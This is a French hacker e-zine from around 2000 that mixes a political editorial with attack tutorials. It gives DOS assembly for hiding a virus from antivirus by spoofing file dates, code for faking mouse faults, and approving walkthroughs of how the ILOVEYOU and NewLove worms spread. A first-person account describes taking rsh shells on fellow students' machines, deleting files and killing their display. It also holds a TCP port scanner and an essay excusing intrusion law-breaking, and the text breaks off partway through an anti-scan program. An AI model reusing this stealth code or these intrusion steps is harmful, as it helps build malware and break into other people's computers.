Copy Link
Add to Bookmark
Report

RtC MaG no 2

eZine's profile picture
Published in 
RTC
 · 21 Aug 2020

  

RtC MaG no 2

******************************************************************************
******************************************************************************
_____________________________
| | | ______| Call us: Par4noID, SnEaKie
| ___|___ ___| | SLy, S/asH
| |\ \ | | | |_____ The ScienTisT, AndroGyne
|_| \__\ |___| |_________| http://www.chez.com/rtcgang

******************************************************************************
******************************************************************************

DISCLAIMER:

LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION
FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE
PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN
BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL.
LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION
ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS.

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

EDITO:

"La liberté est le pouvoir qui appartient à l'homme d'exercer, à son gré toutes ses facultés. Elle a la justice pour règle, les droits d'autrui pour bornes, la nature pour principe, et la foi pour sauvegarde"
Robespierre

Aout 92:
3 jeunes individus réunissent leur argent pour fonder une chaine de télévision pirate. Ils émettent au niveau régional à partir d'une petite camionnette qui sillonnent les rues de Marseille. Ils ne diffusent aucun film qu'ils n'ont fait, aucune image qu'ils ne peuvent revendiquer, aucune image dont ils ne sont pas les auteurs. Ils utilisent la plage alors laissée vacante par l'ancienne cinquième et ne diffusent que des reportages sur la ville, la vie, les gens.

Plusieurs mois de cachot seront requis contre les dangereux criminels, terroristes
en puissance...

La même semaine, 20h25:
Le Pen expose tranquillement ses idées xénophobes. 5 minutes d'antenne seront laisser à l'abandon d'un fasciste, 5 minutes d'insultes racistes, 5 minutes qui feront oublier à 15% de la population jusqu'à l'existence d'une seconde guerre mondiale, 5 minutes pour lesquelles l'individu ne sera jamais inquiété par notre justice dont il serait obscène de remettre en doute l'équité...

Comment expliquer de tels faits ?
La télévision est l'affaire des puissants, elle n'est pas le reflet du peuple comme elle voudrait s'en donner l'image, elle est un média controlé, organisé selon les règles simples d'une dictature : vous n'y pénétrez que par connaissance, toute tentative de putch y est réprimé dans le sang.

Plusieurs mois de cachot seront requis contre les dangereux criminels, terroristes en puissance...

Avril 2000: une nouvelle loi est votée: les hebergeurs internet sont désormais responsables du contenu de leurs pages. L'info passe presque inapercue, elle est pourtant de taille! Quel est le fondement d'une telle loi? Lutter contre la propagation des sites du KKK? Vous m'en voyez sincèrement désolé messieurs les ministres mais ces organisations ont leurs propres structures, leurs propres serveurs. Lutter contre qui, contre quoi? Les HACKERS dont yahoo a supprimé les principales références???? Qui veut voir leur disparitons? La réponse est simple, elle tient en quelques lettres:
www.tf1.fr et tous leurs amis, tous ceux qui voient dans l'internet le nouveau territoire à conquérir, LA nouvelle chance à saisir. Les puissants veulent appliquer au web les principes qu'ils ont quelques années auparavant appliqués, il le faut dire avec succès, à la télévision. Leur but est simple, faire du web une vitrine commerciale, un immense magasin. Ce serait compter sans nous, sans toi, membres d'un même peuple qui ne porte qu'un nom, qui ne suit qu'une même bannière: l'underground. Car doit-on accepter qu'internet ne deviennent qu'un supermarché ou les caissières s'appeleraient BILL GATES ? Il est temps que l'underground francais prenne conscience de ses droits mais aussi de ses devoirs. Le hacker est le garant d'une liberté. Il est l'unique conscience d'internet, le défenseur d'un média qui doit rester accessible à tous. Il instaure une démocratie là ou certains félons voudraient instaurer une dictature, érigée au nom d'un unique principe: l'argent.
Mon principe à moi s'appelle LIBERTE, il est ce pourquoi tant d'homme sont morts, sacrifiés en une même lutte. Un droit si difficilement acquis ne pourraient souffrir d'une entorse : Toi qui lis cette page, prends conscience de la lutte d'un peuple pour son idées de liberté, accepte ce peuple et suis-le dans sa révolution: la REVOLUTION UNDERGROUND.

Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Sommaire:

1/ EDITO Par4noID
2/ Furtivite au niveau de la date Androgyne
3/ ILOVEYOU Par4noID, SnEakie, Scientist
4/ Virus et dommages materiels Androgyne
5/ FAK-HACK 2: 1ere partie Par4noID
6/ Hacking Spirit S/ash
7/ NewLove SLy
8/ Prog Anti-Scan tcp : Protect U! Par4noID
9/ Debat sur la cybercriminalite Androgyne
10/ ICMP my friend SnEakie
11/ 2600 France Par4noID
12/ La bOmb info du mois Androgyne
14/ Reverse Engineering S/ash
15/ Projet K-OS Androgyne
16/ ERRATA SnEakie

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Furtivité des virus au niveau de la date
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Une bonne méthode de reconnaissance des fichiers infectés consiste à changer sa date. Cette méthode est non seulement simple mais ne nécessite pas toute une artillerie d'instructions assembleur. Pour vérifier si le fichier est infecté, on utilise une routine du style de celle qui suit (le fichier aura été ouvert auparavant et l'handle du fichier mis dans bx) :

--------------------------------------------------------------------------------
IS_INFECTED:
mov al,0
mov ah,57h
int 21h ;récupération de la date
cmp dx,????h
ret
--------------------------------------------------------------------------------

????h désigne la date du fichier selon 512*(Année-1980)+32*Mois+Jour. Ainsi, 26 Avril 1986 (date de l'explosion de la centrale de Tchernobyl) se code 512*(1986-1980)+32*4+26=3226=0C9Ah, et voilà...
Au cours de l'infection, on rajoute juste ces quelques lignes qui change la date à la date souhaitée (ne jamais oublier que plus la date est ancienne, moins vous rencontrerez des fichiers naturellement immunisés) :

--------------------------------------------------------------------------------
CHANGE_DATE:
mov al,0
mov ah,57h
int 21h ;récupération de la date
mov dx,????h
mov al,1
mov ah,57h
int 21h ;et changement de date
ret
--------------------------------------------------------------------------------

Maintenant, cette méthode a un petit inconvénient. Les antivirus n'auront plus qu'à regarder la date pour voir si un fichier est infecté. Il faut donc utiliser des techniques de furtivité. Pour ceux qui se demandent ce qu'est la furtivité, c'est la capacité à se dissimuler aux antivirus. Attention, cela n'a rien à voir avec le polymorphisme. Il faut donc renvoyer la date originale à l'appel de l'interruption 21h fonction 57h. Il faut alors faire deux choses : modifier les deux routines précédentes pour prendre en compte la furtivité et ajouter la routine de furtivité au gestionnaire de l'interruption 21h.
Voici d'abord la routine IS_INFECTED corrigée :

--------------------------------------------------------------------------------
IS_INFECTED:
mov al,0
mov ah,57h
pushf
call dword ptr cs:[Old_21] ;récupération de la date
cmp dx,????h
ret
--------------------------------------------------------------------------------

et la routine CHANGE_DATE corrigée :

--------------------------------------------------------------------------------
CHANGE_DATE:
mov al,0
mov ah,57h
mov [Date_Save],dx
pushf
call dword ptr cs:[Old_21] ;récupération de la date
mov dx,????h
mov al,1
mov ah,57h
pushf ;et changement de date
call dword ptr cs:[Old_21]
ret

Date_Save dw 0
--------------------------------------------------------------------------------

Alors se pose un problème crucial... Quand, on ouvre un fichier, on peut a priori savoir s'il est infecté ou non. Le problème est alors de récupérer la date d'origine car on ne sait absolument pas où se trouve le buffer Date_Save dans le fichier. Ce problème est-il insoluble ? Non évidemment, car la plupart des virus infecte les .com en se copiant à la fin et en rajoutant un saut au début du .com (je présente un virus simple, pas violent et tout expliqué qui marche selon ce principe dans l'article Projet K-os). On peut alors placer le buffer juste après le saut (i.e. à l'offset 103h car un .com s'exécute toujours à partir de l'offset 100h et un saut est codé en 3 octets). Et on y accède en plaçant le pointeur de fichier sur cet emplacement mémoire, on le lit et bingo ! Je vous laisse alors modifier la routine CHANGE_DATE de façon à placer la date originale là où il faut. Voilà alors à quoi ressemble la routine de furtivité dans le gestionnaire d'interruption :

--------------------------------------------------------------------------------
NEW_INT_21:
cmp ax,5700h
jz DATE_HOOK
...

DATE_HOOK:
push ax
push cx
push dx

pushf
call dword ptr cs:[Old_21]
cmp dx,????h
jnz END_HOOK

push ax
push cx
push dx

mov al,0
xor cx,cx
mov dx,3
mov ah,42h
pushf
call dword ptr cs:[Old_21]

mov cx,2
mov dx,offset Original_Date
mov ah,3Fh
pushf
call dword ptr cs:[Old_21]

pop dx
pop cx
pop ax

pushf
call dword ptr cs:[Old_21]
mov word ptr dx,[Original_Date]

pop dx
pop cx
pop ax

pushf
call dword ptr cs:[Old_21]

END_HOOK:
ret



Original_Date dw 0
--------------------------------------------------------------------------------
Ainsi, toute tentative de lecture de la date par un programme étranger renverra la date originale, comme si le virus ne l'avait pas infecté. Tout cela peut paraître un peu dur mais je peux vous assurer que c'est une protection élémentaire pour rester dans l'ombre le plus longtemps possible. Une autre technique de furtivité au niveau de la date consiste à avancer la date d'une centaine d'années. Ansi tout programme ayant une date au delà de 2080 sera un programme infecté, il suffit alors d'enlever 100 à l'année et de la renvoyer, ce qui ne nécessite plus tous les jonglages que nous avons mis en place. Mais imaginez le plaisir que vous avez à redater tous les .com à la date de votre anniversaire...

On peut ensuite élaborer des techniques de furtivité encore plus importantes (on peut par exemple "endormir" le virus si on détecte la présence d'un scanneur antivirus) mais qui sont également bien plus compliquées et dont je ne matrîse pas encore le maniement.

By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
ILOVEYOU
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Tout le monde en parle, vous n'y avez pas échappé, le virus ILOVEYOU fait des ravages.On le compare souvent à un super MAILISSA... ce qui est loin d'être juste! En effet, mailissa est un virus macro cad qu'il utilise les macros miKROsoft word pour se propager tandis que ILOVEYOU est un VBS (visual basic script). Cet article est paru sur le site du gang à la sortie dudit virus.

1/Petites explications pour ceux qui n'ont jamais entendu parler de .vb ou de .vbs

Voici un ptit exemple de prog VB:

SUB MAIN() ; déclaration de la procédure principale
msgbox("RTCg4ng") ; affiche une boite de dialogue contenant RTCg4ng
END SUB ; fin de la proc

Reste à compiler le prog avec un zentil compilateur de miKroKro (prix public constaté 2000 balles). Vous avez alors un zoli .exe qui vous affiche une boite de dialogue contenant le nom d'un celebre groupe de hackers (on vous laisse deviner lequel :-) )

Et si j'ai pas de compilateur VB ????

Vous en avez rêver, MiKroKro l'a fait : un interpreteur VB inclus dans sa solution logistique complète win95/98 (livré avec tous les ordinateurs: monopole oblige!).

Et comment ca marche???

Et bien quand ca marche (taux généralement constaté 0.0002% Windows oblige!), il vous suffit de taper des commandes visual basic dans un editeur quelconque (bloc note par exemple) et de donner à votre fichier l'extension .vbs . Pour en revenir à l'exemple précédent, creez un .vbs éditez-le et tapez msgbox("RTCg4ng") (laisser tomber les déclarations).

2/ ILOVEYOU

a/ Le principe.

ILOVEYOU vous envoie un mail attaché d'un document LOVE-LETTER-FOR-YOU.TXT.vbs . Observez l'extension finale .vbs c'est l'unique extension qui compte! En effet vous pouvez mettre des points dans les noms windows, seul le dernier point
compte pour l'extension. Ici le .TXT n'est qu'un leure destiné à faire croire à la victime qu'elle est en présence d'un texte.
LOVE-LETTER-FOR-YOU.TXT.vbs est donc un script Visual Basic, c'est à dire, comme nous l'avons vu précédemment, une liste d'instructions visual basic que l'environnemt script windows s'empresse d'éxécuter! Ouvrir ce document équivaut à éxécuter les instructions du script c'est à dire à infecter votre machine.

b/ L'infection.

-infection des mails: si vous avez outlook, (et vous l'avez : monopole oblige ), ILOVEYOU utilise le contenu de la clé
HKEY_CURRENT_USER\Software\Microsoft\WAB\ pour connaitre votre carnet d'adresse (technique qui rappelle furieusement un virus nommé MAILISSA), le virus s'automail alors à tous vos amis qui vont alors recevoir un sympathique mail :

Subject = "ILOVEYOU"
Body = "kindly check the attached LOVELETTER coming from me."
Attachments = LOVE-LETTER-FOR-YOU.TXT.vbs

-infection des autres scripts : tous vos autres scripts y passent : vbs, vbe, js, css, etc... par une modification du codage.

-infection des .jpeg, .mp2, .mp3 : comment peut-on mettre du code dans des fichiers sons? C'est simple, on peut pas. La
méthode utilisée par ILOVEYOU est simple : d'abord il détruit le fichier, ensuite il se recopie en se nommant nom_du_mp3.mp3.vbs (n'oubliez pas, seule la dernière extension compte pour windows!!)

-infection mirc : alors là c'est carrément un bon moyen de propagation: lorsque vous joinez, un DCC send se lance à tout le channel (tout le channel recoit alors un zoli message ILOVEYOU!!!)

3/Ce que nous apprend le virus.

a/ MORALITE: MiKrOKro, arrêtes de faire le beau!! Monopole oblige, un virus qui utilise des "failles" ou plutôt des faiblesses de sécurité de windows se répend à une vitesse faramineuse dans le monde entier.

b/ Technique de HAck: Pas de problèmes balancer vos progs visual sous forme de .TXT.vbs ou .MP3.vbs attachés à de sympathiques mails (ca ne marche que sur le quart du monde!!!).

Par4noID, SnEakie, ScienTisT

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Virus et dommages matériels
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////


Contrairement à ce que peuvent penser beaucoup de personnes, les virus ne peuvent pas causer de dommages matériels. En tout cas, plus maintenant... Il y a un petit bout de temps, on pouvait niquer un lecteur de disquettes en lui demandant d'aller chercher sur un cylindre au delà du maximum. On pouvait même détruire le moniteur en lui envoyant des octets inadéquats. Maintenant tout cela est impossible (ou alors cela relève du miracle). Si vous avez déjà entendu dire par exemple que votre barrette de RAM est morte à cause d'un virus ou qu'un virus a détruit votre disque dur ou que votre clavier ne marche plus à cause d'un virus, sachez que celui qui a dit ça n'en sait pas plus que vous (cette attitude fait partie d'une théorie qui veut que toute panne inexpliquée provient nécessairment d'un virus, théorie tout à fait débile). Si c'est un vendeur de matériel informatique, dites lui au revoir et allez autre part car vous avez à faire à un escroc (dans ce domaine, il sont plus nombreux qu'on le pense).
Mais attention, si un virus ne peut pas causer de dommages matériels, il peut tout à fait les simuler. Simulation ne signifie pas destruction. Pour vous montrer combien il est facile de simuler une panne de clavier, allez voir dans l'article La bombe du mag. La gachette de cette bombe peut être simple, on incrémente un compteur à chaque frappe du clavier. Si le compteur dépasse une certaine limite, BOUM! Mais on peut le faire plus subtilement... On incrémente un compteur, on tire un nombre au hasard et si le nombre tiré est inférieur au compteur, la touche appuyée ne renvoie rien. Ainsi petit à petit, la touche en question va être de plus en plus défaillante, ce qui va paraître au yeux de l'utilisateur comme une panne physique. C'est débile mais ça marche...

On peut simuler de même une panne de souris. C'est bien plus facile (grâce à l'interruption 33h) et surtout plus marrant. Plusieurs possibilité s'offrent à nous... On peut par exemple faire disparaître le curseur, échanger les boutons ou les rendre "défaillants". Il suffit d'installer un gestionnaire de l'interruption 33h.
Je vais tout d'abord vous montrer comment faire disparaître le curseur. Pour cela il faut détourner la fonction 00 sous fonction 01, qui est chargée d'afficher le curseur, et de remplacer l'appel à la sous fonction 01 par un appel à la sous fonction 02, qui est chargé d'effacer le curseur... Ceci est très facile à faire, voici donc le code à utiliser :

--------------------------------------------------------------------------------
NEW_INT_33:
cmp ax,0001h
jnz INT_33
mov ax,0002h
INT_33:
jmp dword ptr cs:[Old_33]
--------------------------------------------------------------------------------
Comme ce code est ultra simple, je vais également vous donner le code pour échanger les boutons. Cette fois, il faut détourner la fonction 00 sous fonctions 03 et 05. La sous fonction 03 retourne la position et l'état des boutons et la sous fonction 05 retourne des informations sur les boutons qui ont été pressés. Le code se présente ainsi:

--------------------------------------------------------------------------------
NEW_INT_33:
cmp ax,0003h
jz FCTN03
cmp ax,0005h
jz FCTN05
INT_33:
jmp dword ptr cs:[Old_33]

FCTN03:
pushf
call dword ptr cs:[Old_33]
xor bx,00000011b
ret

FCTN05:
cmp bx,0002h
jz INT_33
push dx
mov dx,1
sub dx,bx
mov bx,dx
pop dx
NEXT:
pushf
call dword ptr cs:[Old_33]
xor ax,00000011b
ret
--------------------------------------------------------------------------------
Pour finir voici les données concernant l'interruption 33h qui m'ont servies pour cet article. Je précise que cette interruption est appelé pour toutes les souris (aussi bien les Microsoft que les Logitech et les Genius) et que cette interruption gère également le troisième bouton qui existe maintenant sur la plupart des souris...
--------------------------------------------------------------------------------

*** Interruption 33 : MS MOUSE (c'est son nom) ***
Fonction 00h

Sous fonction 00h : Reset drivers and read status
paramètres d'entrée:
AX:0000h
paramètres de sortie:
AX=état d'installation des drivers (non installés=0000h/installés=0FFFFh)
BX=nombres de bouton (02h ou 03h généralement)

Sous fonction 01h : Show Mouse Cursor
paramètres d'entrée:
AX=0001h
paramètres de sortie:
aucun

Sous fonction 02h : Hide Mouse Cursor
paramètres d'entrée:
AX=0002h
paramètres de sortie:
aucun

Sous fonction 03h : Get Position and Button Status
paramètres d'entrée:
AX=0003h
paramètres de sortie:
BX=état des boutons
bit 0 = 1 si le bouton gauche est pressé
bit 1 = 1 si le bouton droit est pressé
bit 2 = 1 si le bouton du milieu est pressé
CX=colonne
DX=ligne

Sous fonction 04h : Set Position Mouse Cursor
paramètres d'entrée:
AX=0004h
CX=colonne
DX=ligne
paramètres de sortie:
aucun

Sous fonction 05h : Get Button Press Data
paramètres d'entrée:
AX=0005h
BX=numéro du bouton (0=gauche, 1=droit, 2=milieu)
paramètres de sortie:
AX=état des boutons (voir sous fonction 03h)
BX=nombre de fois où le bouton a été pressé depuis le dernier appel
CX=colonne où se situait le bouton la dernière fois où il a été pressé
DX=ligne où se situait le bouton la dernière fois où il a été pressé

Sous fonction 06h : Get Button Release Data
paramètres d'entrée:
AX=0006h
BX=numéro du bouton (0=gauche, 1=droit, 2=milieu)
paramètres de sortie:
AX=état des boutons (voir sous fonction 03h)
BX=nombre de fois où le bouton a été relaché depuis le dernier appel
CX=colonne où se situait le bouton la dernière fois où il a été relaché
DX=ligne où se situait le bouton la dernière fois où il a été relaché
--------------------------------------------------------------------------------

J'ai donné toutes ces informations également pour ceux qui programment en Pascal pour qu'ils puissent créer leur propre unit mouse. Ceux qui voudraient de plus amples informations sur cette interruption 33 peuvent écrire à l'adresse donnée au début du mag.

P.S. : Pour les naïfs qui se serait fait avoir par la terrible bombe de Par4noID paru dans le dernier RTC Mag, Boota Bomba, je tiens à dire qu'une simple disquette boot suffit pour relancer la machine ainsi que du programme d'installation du système d'exploitation (CD Windows pour la plupart des PC...).

By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
FAK-HACK 2 : 1ere partie
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

FAK-HACK : ce titre ne vous est sans doute pas inconnu surtout si cela fait quelques annees que vous vous interessez au hack et que vous connaissez vos classiques. FAK-HACK est le titre d'un article ecrit par Sorc3ry, membre actif du PHE, groupe mythique, publiant le non moins mythique mAg NoRoute.
Si j'ai décidé de nommer cet article FAK-HACK 2, c'est autant parce qu'il s'inscrit dans la continuité de celui du sorcier du HACK, que pour rendre hommage à un groupe qui, s'il n'avait pas disparu, serait problablement aujourd'hui la reference francaise.

PHE nous te regrettons

29/05/2000: La pluie tombe à seau, je suis fatigué et ma voiture ne démarre plus. Bref tout va bien! Attendant le retour du beau temps pour agir, je me suis réfugié dans cet antre obscur que l'on nomme salle info de la FAK. hein?
ILS ont LINUX! cette phrase m'échappant, mes muscles du visage commencerent à se delier et un immense rire m'echappa.
A coté de l'ordinateur, une notice pour se connecter! et un numéro 35, celui de ma machine.
On y va, connection!

login: public
password:

fak35$ _

Bon, je sors ma disquette RTCg4ng.

fak35$ mount /mnt/floppy
fak35$ cd /mnt/floppy

Je repere dans la salle une dizaine de personnes utilisant Linux, bon allez j'ai envie de m'amuser. Je repere leur numero, de 26 à 32.

fak35$ ./RTCscan fak26

comme son nom l'indique RTCscan est le scan officiel du g4ng RTC, made in SLy and Par4noID

....
PORT 513 is openED
....

Naaaaaan, le port login est ouvert! le port login permet d'envoyer des r-commandes, c'est-à-dire des commandes réseaux.

fak35$ rsh fak26

j'execute ici la r-commande rsh qui me donne un shell sur la machine distante.

fak26$ _

J'ai ainsi recupere un shell sur la machine distante.

fak26$ mount /mnt/floppy

je monte la disquette distante

fak26$ cd /mnt/floppy
fak26$ ls
Owinter.mp3

fak26$ rm /mnt/floppy/Owinter.mp3

la, je veux dire, pas de pitié! on efface tout.
Regardons maintenant les processus lancés par sa machine.
(en gros un processus est un objet dynamique, contenant du code, des variables, une pile d'execution, chargé en memoire. En tres tres gros c'est un "programme" qui s'éxécute en arriere-plan)

fak26$ ps ax

la commande ps permet d'afficher les information sur la table des processus.
Il y a notamment un processus qui m'interesse, il s'agit de fwm, il s'agit du process X-window.
Sous Linux, les processus sont reperés par le systeme par des numéros que l'on nomme PID. Par la commande ps ax , le nom fwm s'affiche au coté de son PID, ici 168.

fak26$ kill -9 168

J'envoie alors au processus 168 (X-window) le signal 9 (le signal fermeture!)
Et la, je vois le x-window de la machine26 se fermer. Jouissance extreme.

fak26$ exit
fak35$ _

Continuons, on s'attaque cette fois-ci à Fak27

fak35$ rsh Fak27
fak27$ _

X-window peut etre considere comme un serveur, et ne l'oublier jamais, comme un serveur d'affichage. Si vous etes un client autorisé, vous pouvez afficher sur la machine distante.

fak27$ export DISPLAY=fak27:0.0
fak27$ xhost +

Maintenant tout le monde est un client autorisé!!

fak27$ exit
fak35$ xpinguin -display fak27:0.0 &

Et un joli pinguin sur la machine distante...

Bon fini de jouer, ma voiture m'attend.
Avant de deconnecter, non c'est pas vrai: ils n'ont pas protégé le boot...
Je reviendrai demain (voir prochain mAg et comment on passe au travers de boot non protect pour etre rooooooot!).

Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Hacking Spirit
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Actuellement le faible underground existant est constitué d'une part de ceux considéré comme elite et d'exploit user.

Je ne parlerai pas ici des exploit user qui se contentent d'utiliser des failles et de faire les cracks sur irc...

Mais, tout d'abord, actuellement il n'y a plus d'élite !!! Ceux qui se font appeler Elites sont en faits les vrais hackers.
Dans ceux-ci la plupart ont oublié l'esprit underground qui faisait ce que nous sommes depuis plus de 10 ans.

L'esprit underground est le fait de rechercher la connaissance et non de faire le malin ou de crasher les systèmes. Nous ne sommes pas devenus hackers dans l'esprit d'être bien vu mais dans celui de savoir.
Par là je critique tout les hackers (ou pseudo-hackers) qui font les malins en crashant les syst et en le criant tout fort (nota : bien fait pour mafia boy et sa pauvre attaque Denial of service).

Je voudrais ici également critiquer les gens qui disent : "Ouais, les pirates c'est des cons... En plus il se font appeler hacker... Les vrais Hackers c'est les mecs comme MDX et Linus...". Je voudrais quand même signaler que je suis peut-être pirates mais également hacker...
Ces gens nous reprochent de ne pas respecter les lois : vous les trouvez juste les lois qui autorisent la moindre personne ayant accédé à un autre ordi que le sien de se faire arrêter (Loi Godfrain). De plus je ne voie pas pourquoi je respecterai cette loi puisqu'elle m'empêche d'accéder au savoir.
C'est vrai que les autorités préfèrent me traiter de criminel plutot que de sécuriser leur système et de me laisser savoir... il sont jaloux de nos connaissances qui nous donne une supériorité sur eux (au fait il engage aussi à BAC-2 chez les V ?). Je les laisse me traiter de criminel mais le seul crime que j'ai commi est de savoir...
A cause d'eux (les V) l'underground n'a jamais exister de façon non éphémère.
Il veulent nous faire taire tout comme en 68 : n'avons nous donc pas évoluer depuis ? Mais peu importe les V, et tous les autres, nous perdureront...
Et en attendant il faut que l'underground évolue : arrêtez de cracher sur les wanabee, aidez-les. Il y cependant eu une certaine évolution depuis on est de mieux en mieux vu (création de zataz).

Ainsi "Grow, multiply and fill the Earth" (Linus Thorvald) devrait maintenant être notre devise... Et à ce qui vous dites que vous êtes des criminels répondez leur que votre seul crime est le savoir...

<-- File by S/asH -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
NEW LOVE
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Il y a deux semaines, ILOVEYOU se répandait, la RTC l'étudiait et concluait à l'efficacité d'une technique de hack : le script-mail. Nous ne croyions pas si bien dire! L'expansion du nouveau virus NewLove, utilisant les meme techniques que la
LOVEletter tend à démontrer l'efficacité d'une telle technique. Tant que les médias ne préviendront pas du danger de l'éxécution de script vbs, js, etc... le ScriptMail aura de beau jour devant lui (-:@ .

Cet article a été publié sur notre site à la sortie du virus.

Ce virus "polymorphe" écrira par-dessus TOUS les fichiers. Il arrive par e-mail avec comme sujet "Fw : (random_file_name.ext)" et en document attaché "(random_file_name.ext).vbs". Random_file_name est le nom d'un fichier, pris au hasard, du dossier \Recent de windows (ou si vous le voulez : c'est le dossier contenant les derniers documents visités que vous retouvez dans Démarrer et Documents). Si le dossier est vide ou n'existe pas, le virus construit au hasard le nom, jusqu'à 30 caractère de long. Finalement le virus lui attache une extension pris au pif de la liste { .Doc, .Xls, .Mdb, .bmp, .Mp3, .Txt , .Jpeg, .Gif, .Mov, .Url, .Htm}
Si le message a été généré par Windows NT ou Windows 2000, alors le nom du fichier est omis. Ce qui donne pour le sujet : "(.ext).vbs"
En récapitulatif, le message sera :

De : Nom-de-la-personne-infectée
A : Nom-au-hasard-du-carnet-d'adresse
Sujet : FW : (random_file_name.ext)
Objet :
Pièce jointe: (random_file_name.ext) .vbs


Une fois lancé sur votre ordinateur, le virus se recopie en utilisant le polymorphisme (voir plus bas) dans les dossier Windows et Windows System sous un nom de fichier au hasard (comme si on utilisait le générateur de nom et que \Recent soit vide) et avec une extension au hasard (voir plus haut). Le virus modifie deux entrée de registre :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
en mettant comme clé le chemin des deux précédent fichiers copiés dans les dossiers Windows et Windows System. De cette façon il sera lancé à chaque démarrage de Windows. En fait il met dans RunService par exemple la chaîne
C:\Windows\System\sqfk.jpeg.vbs et dans Service il met une chaîne C:\Windows\sqfk.jpeg.vbs

Ensuite le virus fait du mass mail en utilisant Outlook 98 ou 2000 (Il ne peut pas se répandre avec Outlook 97 et avec Outlook Express). Les messages sont envoyés à toutes les adresses contenues dans les carnets d'adresses (exactement comme le virus "ILOVEYOU"). Chaque message a un sujet comme "FW : (random_file_name.ext)" (Voir au début si vous ne comprenez pas"), un contenu vide, et il attache en utilisant un moteur de polymorphisme le virus contenu dans le dossier Windows System en regardant à mon avis dans la base des registres pour savoir son nom (et son chemin).

Le moteur de polymorphisme du virus a pour effet de changer l'apparence du virus sans changer ses fonctions, donc pour corser la reconnaissance de la signature du virus (ses lignes de code) par les anti-virus. Il fonctionne grâce à la mise en place de 10 lignes de commentaires, grâce au caractère ' (apostrophe) en le mettant au début d'une ligne, entre les lignes de code du
virus et aussi grâce à l'ajout de 50 espaces devant chaque ligne. La taille du virus va augmenter au fil des échanges.
Pour finir, le virus (ou le worm) examine tous les disques de l'ordinateur et ceux du réseau local accessible et traverse tous les dossiers et les sous-dossiers. Pour chaque fichier trouvé, le virus crée un fichier de même nom avec l'extension "
.vbs" et détruit l'original : ce qui propage le virus et détruit tous vos fichiers sur tous vos disques accessibles et dont l'écriture est
possible.

Après ceci, votre machine aura du mal à démarrer.

SLy

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Prog Anti-Scan TCP : proTecT U !
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

C'est article nécessite les connaissances de base en prog c, notamment en prog c reseau. Tout ceux à qui ce savoir fait défaut peuvent consulter l'excellent, (nous ne répéterons jamais assez!), article de HotCode de NoRoute2.

Ok, si j'ai décidé d'écrire cet article c'est parce qu'aujourd'hui beaucoup de hackers utilisent des scanners à connection complète (pour voir si tel ou tel port est ouvert, on tente une connection : si elle a lieu, on la coupe et on renvoie port open, si une erreur se produit à la connection c'est que le port est fermé).
Ces types de scan sont tres largement répandu, à tort...ils reposent en effet sur une connection complète et c'est bien là leur faiblesse!! Car en établissant une connection complète votre ordinateur permet à votre 'victime' de récupérer un tas d'info sur vous au travers d'une structure sin_addr.
AtHACKons les explications techniques en observant d'abord le code c d'un scan tcp.

-----------------------------------CUT HERE-------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>

struct in_addr resolve(char *name) {
struct hostent *ent;
struct in_addr in;

if (!(ent=gethostbyname(name)))
{in.s_addr=INADDR_NONE;return in;}

return *(struct in_addr *)ent->h_addr; }

void main(int argc,char **argv) {

int sock;
struct sockaddr_in addr;
int port;
char *victim;
int rc;

victim=argv[1];

printf("
Created by Par4noID and SLy (members of RtC)\n");
printf("
This is a tOOl of RtC TecH\n");

addr.sin_family=AF_INET;
addr.sin_addr=resolve(victim);

if (addr.sin_addr.s_addr==INADDR_NONE) { printf("
Connection Problem\n") ;
exit(0); }

for (port=1;port<=10000;port++) {

sock=socket(AF_INET,SOCK_STREAM,0);
addr.sin_port=htons(port);
rc=connect(sock,(struct sockaddr*)&addr,sizeof(addr));
close(sock);
if (rc<0) { continue; }

printf("
PORT %3ld is openED\n",port) ; }

exit(0);
}
-----------------------------------CUT HERE-------------------------------------

Si vous avez bien compris le principe du scan tcp, vous n'aurez aucun mal à comprendre le code suivant, celui de mon anti-scan tcp. Pour l'utiliser taper

bash$ RTClog 41 où 41 est le port que l'on écoute.

Vous pouvez le tester en scannant votre machine par:

bash$ RTCscan localhost

Dans le mAg3, nous attaquerons les techniques scan/anti-scan SYN, pour enfin venir à bout de certains mythes, qui circulent sur les chats (et qui arrangent nos amis les V), comme par exemple le pseudo-anonymat des scans SYN.


-----------------------------------CUT HERE-------------------------------------
/* Code c d'un anti-scan tcp */
/* Written by Par4noId, member of the g4ng RTC */
/* http://www.chez.com/rtcgang */
/* Cet outil est un prog de sécurité développé dans le cadre RTCtools */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>

